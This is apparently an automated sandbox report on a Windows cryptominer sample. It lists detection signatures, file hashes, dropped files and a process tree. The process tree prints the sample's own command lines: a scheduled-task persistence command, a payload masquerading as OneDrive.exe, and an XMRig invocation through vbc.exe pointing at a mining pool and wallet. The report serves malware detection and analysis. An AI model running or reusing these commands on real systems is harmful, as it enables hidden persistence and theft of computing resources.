Analysis

  • max time kernel
    4s
  • max time network
    300s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25/12/2023, 04:56

General

  • Target

    3bc814405b3f7a178ee8bb74d40ae9a643fe76d59a89982728673f2a78947042.exe

  • Size

    2.1MB

  • MD5

    93873e5c894e79df6922d2ec95d97b10

  • SHA1

    76d6c12bed4db10242ec6da68c9a2ffdf543061a

  • SHA256

    3bc814405b3f7a178ee8bb74d40ae9a643fe76d59a89982728673f2a78947042

  • SHA512

    238151ab9143d57f7cc2f419efd03022b1d73c436295ca101871064671d4254e2bbc546afdb6ca9ddf07e1bf7b89b1b2ec70ffadb63f40667d3e5f6668e2b63f

  • SSDEEP

    49152:WOpNKrf9VNvk53Kli7Ib1Ei3LMespDC5ASTwhlItlW:WOvKBVNvq3x4twespDC5Lkm6

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 3 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Uses the VBS compiler for execution 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\3bc814405b3f7a178ee8bb74d40ae9a643fe76d59a89982728673f2a78947042.exe
    "C:\Users\Admin\AppData\Local\Temp\3bc814405b3f7a178ee8bb74d40ae9a643fe76d59a89982728673f2a78947042.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:996
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp6AA1.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4764
      • C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe
        "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1140
  • C:\Windows\system32\timeout.exe
    timeout 3
    1⤵
    • Delays execution with timeout.exe
    PID:1740
  • C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ABSOLUTE" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"
    1⤵
    • Creates scheduled task(s)
    PID:4316
  • C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ABSOLUTE" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2312
  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work -a rx/0 --donate-level 1 --opencl
    1⤵
      PID:4288
    • C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe
      C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe
      1⤵
        PID:3880
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ABSOLUTE" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"
          2⤵
            PID:1904
            • C:\Windows\system32\schtasks.exe
              schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ABSOLUTE" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"
              3⤵
              • Creates scheduled task(s)
              PID:436

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe

          Filesize

          72KB

          MD5

          90d5e6b298a449bc7a12e32ed2ab0b36

          SHA1

          8dac7332a138fd16fd5c1889924fd5a8058cb040

          SHA256

          4a6f2af85fc74a66965f791911d42d050daf2544664377944047c72dcfb5a68d

          SHA512

          caa29dbce1e9846d9e1c3fb641aad4cd942366252b49fd854eff0e7ece2d20a59ef5175bea747f4f66b98320eca6a7f719523af7f0aa3dc66cedcfceb99cb7cd

        • C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe

          Filesize

          92KB

          MD5

          f0707b8cf6d5ce952c031ccd4b959d5c

          SHA1

          f6cba5782d300f2ab68e27b8e228588531dc9ae3

          SHA256

          78733d3f67a35218ea9e9a57d6d474862b0892cd3dc177830d5e19f431d0c055

          SHA512

          1e0134e2ed3e0f391f0f869f4b00822a2273e630d5fa5d1669155797f5359b5583b189ed74af7a630a69fabb2ff5788fb35152e2426f3e4e626215e6e406acb1

        • C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe

          Filesize

          102KB

          MD5

          c7a5ca2fb2dd5345400789e2ad85a41f

          SHA1

          be76bac759bf60106341ba2b1780da85cd28dc0f

          SHA256

          2c3309edabd7a561cfd10a5eb6cbfbb2f5f71a3387d14cda7f6097bb3cdb88e0

          SHA512

          3c89bcf73932ee3ee324416845fcbe4159a92ebb716ed271712f85fb69d8d07e1a63db1d00d3196e140b050ec0f36e379d5db9006260c1e9b61be4ea7b9043f0

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\OneDrive.exe.log

          Filesize

          1KB

          MD5

          879faeecba1716ac3ad7bc3662ffb86e

          SHA1

          0f489962ae42883915d16449b881e4eb57ec7f9e

          SHA256

          ca38f4cb9f7b3c256a481fd8c86540558a0d9872ba1fc19181483ea5811ced68

          SHA512

          542c9501d4583b86dfacd89e33c31265f2385cb3461fe41d80aeb83d415c2480144a8371ef23175284645569bec1a1274772d1b640d9fab4d002e78740216966

        • C:\Users\Admin\AppData\Local\Temp\tmp6AA1.tmp.bat

          Filesize

          176B

          MD5

          e0d328d816d78e244bc75eb15d81476f

          SHA1

          2e750a9910e3fc5b24dd01f8aab66f9a84664c57

          SHA256

          89cb06325efd1ec01ebbab7dc2881011a283371440596be829ca618f28672219

          SHA512

          12849c3442da2872aa6fdeb654bae3453d753c1a0c427db62117ad4be50226343d9020c74f96d000c0b83166964b138829816c90593f1ad3adf622db91aa2422

        • memory/996-36-0x00007FFC45FE0000-0x00007FFC4607C000-memory.dmp

          Filesize

          624KB

        • memory/996-32-0x00007FFC4EB50000-0x00007FFC4EC9A000-memory.dmp

          Filesize

          1.3MB

        • memory/996-10-0x00007FFC4EB50000-0x00007FFC4EC9A000-memory.dmp

          Filesize

          1.3MB

        • memory/996-23-0x00007FFC4F340000-0x00007FFC4F51B000-memory.dmp

          Filesize

          1.9MB

        • memory/996-27-0x00007FFC4CC80000-0x00007FFC4CF79000-memory.dmp

          Filesize

          3.0MB

        • memory/996-31-0x00007FFC4ED00000-0x00007FFC4ED27000-memory.dmp

          Filesize

          156KB

        • memory/996-37-0x00007FFC40930000-0x00007FFC4093A000-memory.dmp

          Filesize

          40KB

        • memory/996-42-0x00007FF7F2190000-0x00007FF7F2394000-memory.dmp

          Filesize

          2.0MB

        • memory/996-43-0x0000000003030000-0x0000000003075000-memory.dmp

          Filesize

          276KB

        • memory/996-41-0x00007FFC41D90000-0x00007FFC41EBC000-memory.dmp

          Filesize

          1.2MB

        • memory/996-40-0x00007FFC4E3C0000-0x00007FFC4E503000-memory.dmp

          Filesize

          1.3MB

        • memory/996-39-0x00007FFC41F20000-0x00007FFC42017000-memory.dmp

          Filesize

          988KB

        • memory/996-38-0x00007FFC31FF0000-0x00007FFC329DC000-memory.dmp

          Filesize

          9.9MB

        • memory/996-14-0x00007FF7F2190000-0x00007FF7F2394000-memory.dmp

          Filesize

          2.0MB

        • memory/996-34-0x00007FFC46080000-0x00007FFC460E3000-memory.dmp

          Filesize

          396KB

        • memory/996-11-0x00007FFC4B820000-0x00007FFC4B831000-memory.dmp

          Filesize

          68KB

        • memory/996-30-0x00007FFC4C9D0000-0x00007FFC4CA21000-memory.dmp

          Filesize

          324KB

        • memory/996-28-0x00007FFC4BF60000-0x00007FFC4BFCA000-memory.dmp

          Filesize

          424KB

        • memory/996-29-0x00007FFC4EA20000-0x00007FFC4EAC1000-memory.dmp

          Filesize

          644KB

        • memory/996-26-0x00007FFC4EDD0000-0x00007FFC4EEF5000-memory.dmp

          Filesize

          1.1MB

        • memory/996-25-0x00007FFC4ED30000-0x00007FFC4EDCD000-memory.dmp

          Filesize

          628KB

        • memory/996-24-0x00007FFC4C1B0000-0x00007FFC4C3F9000-memory.dmp

          Filesize

          2.3MB

        • memory/996-15-0x00007FFC31FF0000-0x00007FFC329DC000-memory.dmp

          Filesize

          9.9MB

        • memory/996-16-0x00007FFC41D90000-0x00007FFC41EBC000-memory.dmp

          Filesize

          1.2MB

        • memory/996-9-0x00007FFC4ED00000-0x00007FFC4ED27000-memory.dmp

          Filesize

          156KB

        • memory/996-8-0x00007FFC4ED30000-0x00007FFC4EDCD000-memory.dmp

          Filesize

          628KB

        • memory/996-7-0x00007FFC45FE0000-0x00007FFC4607C000-memory.dmp

          Filesize

          624KB

        • memory/996-6-0x0000000003030000-0x0000000003075000-memory.dmp

          Filesize

          276KB

        • memory/996-0-0x00007FF7F2190000-0x00007FF7F2394000-memory.dmp

          Filesize

          2.0MB

        • memory/996-13-0x00007FFC31FF0000-0x00007FFC329DC000-memory.dmp

          Filesize

          9.9MB

        • memory/996-12-0x00007FFC41F20000-0x00007FFC42017000-memory.dmp

          Filesize

          988KB

        • memory/996-2-0x0000000003030000-0x0000000003075000-memory.dmp

          Filesize

          276KB

        • memory/1140-55-0x00007FFC4ED30000-0x00007FFC4EDCD000-memory.dmp

          Filesize

          628KB

        • memory/1140-110-0x00007FF7B74E0000-0x00007FF7B76E4000-memory.dmp

          Filesize

          2.0MB

        • memory/1140-62-0x00007FFC41D90000-0x00007FFC41EBC000-memory.dmp

          Filesize

          1.2MB

        • memory/1140-60-0x00007FFC31FF0000-0x00007FFC329DC000-memory.dmp

          Filesize

          9.9MB

        • memory/1140-59-0x00007FFC41F20000-0x00007FFC42017000-memory.dmp

          Filesize

          988KB

        • memory/1140-57-0x00007FFC4EB50000-0x00007FFC4EC9A000-memory.dmp

          Filesize

          1.3MB

        • memory/1140-56-0x00007FFC4ED00000-0x00007FFC4ED27000-memory.dmp

          Filesize

          156KB

        • memory/1140-65-0x000000001CBF0000-0x000000001CC00000-memory.dmp

          Filesize

          64KB

        • memory/1140-54-0x00007FFC45FE0000-0x00007FFC4607C000-memory.dmp

          Filesize

          624KB

        • memory/1140-50-0x0000000003710000-0x0000000003755000-memory.dmp

          Filesize

          276KB

        • memory/1140-49-0x0000000003710000-0x0000000003755000-memory.dmp

          Filesize

          276KB

        • memory/1140-67-0x00007FFC41850000-0x00007FFC4191C000-memory.dmp

          Filesize

          816KB

        • memory/1140-69-0x00007FFC4AE00000-0x00007FFC4AE37000-memory.dmp

          Filesize

          220KB

        • memory/1140-68-0x00007FFC4E9B0000-0x00007FFC4EA1C000-memory.dmp

          Filesize

          432KB

        • memory/1140-66-0x00007FFC45F20000-0x00007FFC45F45000-memory.dmp

          Filesize

          148KB

        • memory/1140-47-0x00007FF7B74E0000-0x00007FF7B76E4000-memory.dmp

          Filesize

          2.0MB

        • memory/1140-77-0x00007FFC4ED30000-0x00007FFC4EDCD000-memory.dmp

          Filesize

          628KB

        • memory/1140-82-0x00007FFC4BF60000-0x00007FFC4BFCA000-memory.dmp

          Filesize

          424KB

        • memory/1140-88-0x00007FFC4EB50000-0x00007FFC4EC9A000-memory.dmp

          Filesize

          1.3MB

        • memory/1140-87-0x00007FFC4C400000-0x00007FFC4C49A000-memory.dmp

          Filesize

          616KB

        • memory/1140-86-0x00007FFC4ED00000-0x00007FFC4ED27000-memory.dmp

          Filesize

          156KB

        • memory/1140-85-0x00007FFC4C9D0000-0x00007FFC4CA21000-memory.dmp

          Filesize

          324KB

        • memory/1140-84-0x00007FFC4EA20000-0x00007FFC4EAC1000-memory.dmp

          Filesize

          644KB

        • memory/1140-109-0x0000000003710000-0x0000000003755000-memory.dmp

          Filesize

          276KB

        • memory/1140-58-0x00007FFC4B820000-0x00007FFC4B831000-memory.dmp

          Filesize

          68KB

        • memory/1140-61-0x00007FF7B74E0000-0x00007FF7B76E4000-memory.dmp

          Filesize

          2.0MB

        • memory/1140-111-0x00007FFC31FF0000-0x00007FFC329DC000-memory.dmp

          Filesize

          9.9MB

        • memory/1140-64-0x00007FFC4B680000-0x00007FFC4B6A5000-memory.dmp

          Filesize

          148KB

        • memory/1140-79-0x00007FFC4CC80000-0x00007FFC4CF79000-memory.dmp

          Filesize

          3.0MB

        • memory/1140-63-0x00007FFC31FF0000-0x00007FFC329DC000-memory.dmp

          Filesize

          9.9MB

        • memory/1140-74-0x00007FFC4F340000-0x00007FFC4F51B000-memory.dmp

          Filesize

          1.9MB

        • memory/1140-78-0x00007FFC4EDD0000-0x00007FFC4EEF5000-memory.dmp

          Filesize

          1.1MB

        • memory/1140-75-0x00007FFC4C1B0000-0x00007FFC4C3F9000-memory.dmp

          Filesize

          2.3MB

        • memory/3880-143-0x00007FF7B74E0000-0x00007FF7B76E4000-memory.dmp

          Filesize

          2.0MB

        • memory/3880-127-0x00007FF7B74E0000-0x00007FF7B76E4000-memory.dmp

          Filesize

          2.0MB

        • memory/3880-170-0x00007FF7B74E0000-0x00007FF7B76E4000-memory.dmp

          Filesize

          2.0MB

        • memory/3880-172-0x00007FFC43880000-0x00007FFC4426C000-memory.dmp

          Filesize

          9.9MB

        • memory/3880-171-0x0000000002F70000-0x0000000002FB5000-memory.dmp

          Filesize

          276KB

        • memory/3880-147-0x000000001C4A0000-0x000000001C4B0000-memory.dmp

          Filesize

          64KB

        • memory/3880-128-0x0000000002F70000-0x0000000002FB5000-memory.dmp

          Filesize

          276KB

        • memory/3880-142-0x00007FFC43880000-0x00007FFC4426C000-memory.dmp

          Filesize

          9.9MB

        • memory/3880-144-0x00007FF7B74E0000-0x00007FF7B76E4000-memory.dmp

          Filesize

          2.0MB

        • memory/4288-121-0x000001C6CFD60000-0x000001C6CFD80000-memory.dmp

          Filesize

          128KB

        • memory/4288-72-0x0000000140000000-0x00000001407DC000-memory.dmp

          Filesize

          7.9MB

        • memory/4288-81-0x0000000140000000-0x00000001407DC000-memory.dmp

          Filesize

          7.9MB

        • memory/4288-124-0x000001C6CFD60000-0x000001C6CFD80000-memory.dmp

          Filesize

          128KB

        • memory/4288-76-0x0000000140000000-0x00000001407DC000-memory.dmp

          Filesize

          7.9MB

        • memory/4288-125-0x000001C7623E0000-0x000001C762400000-memory.dmp

          Filesize

          128KB

        • memory/4288-80-0x0000000140000000-0x00000001407DC000-memory.dmp

          Filesize

          7.9MB

        • memory/4288-123-0x0000000140000000-0x00000001407DC000-memory.dmp

          Filesize

          7.9MB

        • memory/4288-122-0x000001C7623E0000-0x000001C762400000-memory.dmp

          Filesize

          128KB

        • memory/4288-116-0x000001C6CFD40000-0x000001C6CFD60000-memory.dmp

          Filesize

          128KB

        • memory/4288-83-0x000001C6CE300000-0x000001C6CE320000-memory.dmp

          Filesize

          128KB

        • memory/4288-70-0x0000000140000000-0x00000001407DC000-memory.dmp

          Filesize

          7.9MB